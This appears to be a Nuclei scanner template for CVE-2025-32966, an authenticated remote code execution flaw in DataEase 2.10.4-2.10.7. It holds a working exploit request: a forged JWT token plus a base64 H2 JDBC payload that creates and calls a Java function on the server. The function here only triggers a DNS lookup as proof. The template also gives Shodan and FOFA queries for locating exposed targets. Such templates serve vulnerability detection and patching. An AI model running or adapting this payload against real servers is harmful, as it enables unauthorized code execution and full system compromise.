DataEase 2.10.4-2.10.7 - Remote Code Execution

id: CVE-2025-32966

info:
  name: DataEase 2.10.4-2.10.7 - Remote Code Execution
  author: ChrisJr404
  severity: critical
  description: |
    DataEase prior to version 2.10.8 contains a remote code execution caused by insecure backend JDBC link handling, letting authenticated users execute arbitrary code, exploit requires user authentication.
  impact: |
    Authenticated users can execute arbitrary code on the server, potentially leading to full system compromise.
  remediation: |
    Update to version 2.10.8 or later.
  reference:
    - https://github.com/dataease/dataease/security/advisories/GHSA-h7hj-4j78-cvc7
    - https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
    - https://github.com/vulhub/vulhub/tree/master/dataease/CVE-2025-32966
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-32966
    cwe-id: CWE-94
    epss-score: 0.03925
    epss-percentile: 0.891
  metadata:
    verified: true
    max-request: 1
    vendor: dataease
    product: dataease
    shodan-query: http.html:"dataease"
    fofa-query: body="dataease"
  tags: cve,cve2025,dataease,h2,rce,jdbc,oss

variables:
  unique: "{{rand_text_alpha(10)}}.{{rand_text_alpha(8)}}.local"
  inner_payload: '{"jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS LK AS $$void lk() throws java.io.IOException { java.net.InetAddress.getByName(\"{{unique}}\")\\; }$$\\;CALL LK()","username":"","password":"","driver":"org.h2.Driver"}'
  conf_b64: "{{base64(inner_payload)}}"
  jwt_claims: '{"uid":1,"oid":1,"exp":{{unix_time(3600)}}}'
  forged_jwt: '{{generate_jwt(jwt_claims,"HS256","ChrisJr404") }}'

http:
  - raw:
      - |
        POST /de2api/datasource/validate HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-DE-TOKEN: {{forged_jwt}}

        {"name":"p","type":"h2","configuration":"{{conf_b64}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains_all(body, "Exception calling user-defined function", "{{unique}}", "CREATE ALIAS LK")'
        condition: and
# digest: 4a0a00473045022100dac9f8e4c1a8dc8fc3f4a50a4ad70e73b3e33a936b7af46577e084a74b7a952b022068d970b93adebe6dc3064c30cab74b74305a5dca7df3edb69e313f0a91b9ec90:922c64590222798bb761d5b6d8e72950